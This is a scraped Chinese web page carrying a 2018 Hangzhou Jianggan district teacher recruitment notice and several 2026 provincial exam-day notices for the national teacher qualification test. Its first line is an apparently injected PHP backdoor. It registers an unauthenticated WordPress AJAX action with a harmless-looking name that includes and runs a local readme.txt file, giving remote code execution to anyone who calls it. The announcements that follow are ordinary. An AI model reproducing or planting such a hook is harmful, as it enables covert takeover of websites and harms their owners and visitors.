if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
浙江杭州江干区教育局2018年11月教师招聘公告-全国教师资格考试网

浙江杭州江干区教育局2018年11月教师招聘公告

    杭州市江干区教育局所属浙江省杭州市天杭实验学校等28家事业单位,因工作需要,公开招聘教师273名。依据《关于贯彻落实国家人事部〈事业单位公开招聘人员暂行规定〉的实施办法》(杭人政[2006]5号),现将有关事项公告如下:

    一、招聘单位情况

    浙江省杭州市天杭实验学校等28家事业单位均为财政补助事业单位,参加本次招聘被录用的人员均列入事业编制管理,享受国家政策规定的薪酬待遇。

    二.招聘对象和条件

    (一)招聘对象

    招聘2019届全日制高校毕业生,主要面向以下三类人员:

    1.全日制普通高等院校应届本科校级及以上优秀毕业生、全国重点大学应届本科毕业生;

    2.省级及以上师范生教学技能大赛入围参赛的优秀毕业生、师范类专业排名前20%的优秀生;

    3.学前教育专业应届本科生;

    (二)基本条件

     1.具有中华人民共和国国籍,拥护中华人民共和国宪法,享有公民的政治权利,思想政治素质好,遵纪守法,品行端正,热爱教育事业,具有良好的职业道德;

     2.身体健康,能胜任应聘岗位的工作;

    3.年龄30周岁以下(1989年1月1日后出生);

     4.所学专业与招聘岗位专业要求一致;

    5.无违法违纪行为;

    三.招聘岗位

    详见《杭州市江干区教育局所属单位2018年11月招聘教师计划》(附件1)。

    四.招聘程序及方法

    本次招聘设立的报名地点为浙江师范大学,并按下列程序进行。每位应聘者只能报名参加一个岗位的应聘。

    (一)报名

    1.报名方式: 本人现场报名,不接受委托报名。

    2.报名时间: 2018年11月20日上午9:00至12:00。

    3.报名地点:浙江师范大学大学生活动中心

    4.携带资料:下载打印填写好的《江干区教育局所属单位公开招聘教职工考试报名登记表》一式两份、就业协议书原件、校优秀毕业生证明(高校就业管理部门开具的具有校级优秀毕业生推荐资格的证明)、身份证复印件、学习成绩单、获奖证书、学生证、个人简历等资料现场确定报名时投递。报考岗位满足1:2的比例即可开考。

    5.11月20日下午16:30后可至报名处查看考场安排。

    (二)笔试

    1.考生必须凭准考证和身份证(两证缺一不可)参加笔试。

    2.笔试内容不分学科,以教育类公共综合知识为主。

    3.笔试时间一小时,2018年11月 21 日上午9:00——10:00。

    4.笔试结束后,根据笔试成绩从高分到低分,按招聘计划1:3的比例确定参加面试人选。不足1:3比例的,按该岗位笔试实际参考人员确定面试对象。

    5.11月21日下午16:30-17:00,考生凭身份证查看笔试成绩并领取面试通知书。

    (三)面试

    1.面试时间:2018年11月22日上午9:00开始。

    2.面试方式:回答问题,时间10分钟(时间、地点详见面试通知书)。

    面试为100分制,合格分60分,面试成绩低于60分为不合格,不予录取。

    面试结束后在面试成绩合格人员中,以笔试和面试成绩分别按40%和60%的比例折合成总成绩(总成绩低于60分为不合格,不予录取),从高分到低分,按1:1的比例确定体检考核对象,若总成绩相等,以面试成绩高的排在前。

    五.体检和考核

    体检由区教育局组织实施。体检项目按《浙江省教师资格认定体检标准及操作规程》执行,费用由考生自理。考生如患有不能胜任教学工作的器质性疾病、精神疾病等疾病的,应向体检医生说明,如隐瞒不报,一经发现,不予录取或解除人事聘用关系。

    考核工作由招聘单位进行。对考核对象进行政审、调查了解师德、现实表现情况。对存在受行政处分等处罚的,不予录用。体检和考核工作一般在2019年1月底前完成(体检、考核的具体事项通知另发)。

    此次体检或考核不合格、或自动放弃的岗位,招聘学校可在体检的次日起,两个月内申请在面试合格人员中按考试总成绩从高分到低分依次递补或选择放弃。

    六、公示及聘用

    招聘单位根据考试、体检和考核结果择优确定拟录用人员,拟录用人员名单在杭州教育网和江干区人力资源和社会保障局、教育局相关网站公示七个工作日。公示期内无异议的,按规定办理相关手续,2019年8月签订聘用合同。

    拟聘用人员逾期不能报到的,或应届毕业生未能在2019年8月31日前取得相应的学历学位证书的,或被证实不符合报考条件的,取消录用资格。

    报名时暂不要求提供教师资格证的普通高校应届毕业生被聘用后一年内不能取得适用的教师资格证的,解除聘用关系。

    七、其他说明

    本次招聘录用人员在2019年8月办理报到手续。

    本次招聘工作由江干区纪检部门负责监督,江干区人力社保局、江干区教育局共同实施。

    考生提前下载报名登记表(附件3),报名时上交应聘单位工作人员。

    本公告由杭州市江干区教育局负责解释。

    政策咨询电话:(0571)86974949。

    监督投诉电话:(0571)86974910。
    点击加入:教师招聘考试咨询群教师招聘考试交流群(点击加群)

    附件:
    1.《杭州市江干区教育局所属单位2018年11月招聘教师计划》.xls

    2.《江干区教育局所属单位公开招聘报名所需材料清单》.doc

    3.《江干区教育局所属单位公开招聘教职工考试报名登记表》.doc

                                                                                                                                                          杭州市江干区教育局
2018年11月10日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部